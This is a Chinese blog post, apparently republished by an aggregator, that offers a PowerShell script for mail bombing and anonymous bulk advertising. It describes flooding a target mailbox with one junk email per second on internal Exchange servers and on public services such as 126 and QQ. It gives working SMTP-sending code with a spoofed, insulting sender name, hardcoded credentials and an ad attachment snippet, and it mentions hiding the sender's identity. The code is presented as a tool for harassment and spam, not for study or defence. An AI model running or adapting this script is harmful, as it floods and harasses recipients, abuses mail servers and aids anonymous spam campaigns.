powershell自动化脚本邮件轰炸 广告投递 邮件营销
Posted Linux黑客小课堂
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了powershell自动化脚本邮件轰炸 广告投递 邮件营销相关的知识,希望对你有一定的参考价值。
应用场景
广告越来越盛行的年代,实现自动化批量匿名广告投递、邮件营销、邮件轰炸式攻击,还是会提供很大的便利。通过编写powershell脚本实现对公网邮件服务器的自动化批量投递,例如网易126邮箱、QQ邮箱以及各种企业自行搭建的邮箱服务器。
需求实现
exchange邮箱服务器、outlook邮箱客户端是我们在windows端常用的邮箱搭配环境。通过使用powershell,写一个自动化发送邮件脚本,每隔一秒给目标邮箱发送一封垃圾邮件,实现邮件轰炸、邮件营销等目的。
运行环境
操作系统:windows7/10等系统
邮箱服务器:exchangeServer2010
脚本语言:powershell
1-1、攻击服务器内网邮箱
及效果
2-1、
攻击公网126邮箱
2-2、
登录126邮箱查看效果
收到批量的邮件投递
3、匿名保护
4、脚本主要代码
function sendmail($mailaddr,$body,$n){
$msg=New-Object System.Net.Mail.MailMessage
$msg.To.Add($mailaddr)
$show="我是你第" + $n + "个爸爸"
$msg.From = New-Object System.Net.Mail.MailAddress("long@madrid.com", $show,[system.Text.Encoding]::GetEncoding("GB2312"))
$msg.Subject = "hi austin"
$msg.SubjectEncoding = [system.Text.Encoding]::GetEncoding("GB2312")
$msg.Body =$body
$msg.BodyEncoding = [system.Text.Encoding]::GetEncoding("GB2312")
$msg.IsBodyhtml = $false
#$msg.Priority = [System.Net.Mail.MailPriority]::High
$client = New-Object System.Net.Mail.SmtpClient("192.168.154.142")
$client.UseDefaultCredentials = $false
$client.Credentials=New-Object System.Net.NetworkCredential("long@madrid.com", "123456")
try {$client.Send($msg)}
catch [Exception]{$($_.Exception.Message)
$mailaddr
}
}
添加广告图片或附件
$Attachments=New-Object System.Net.Mail.Attachment("D:Documentsxxxx.jpg")
$msg.Attachments.add($Attachments)
以上是关于powershell自动化脚本邮件轰炸 广告投递 邮件营销的主要内容,如果未能解决你的问题,请参考以下文章
powershell powershell脚本的模板。使所有错误“终止”并在发生错误时发送邮件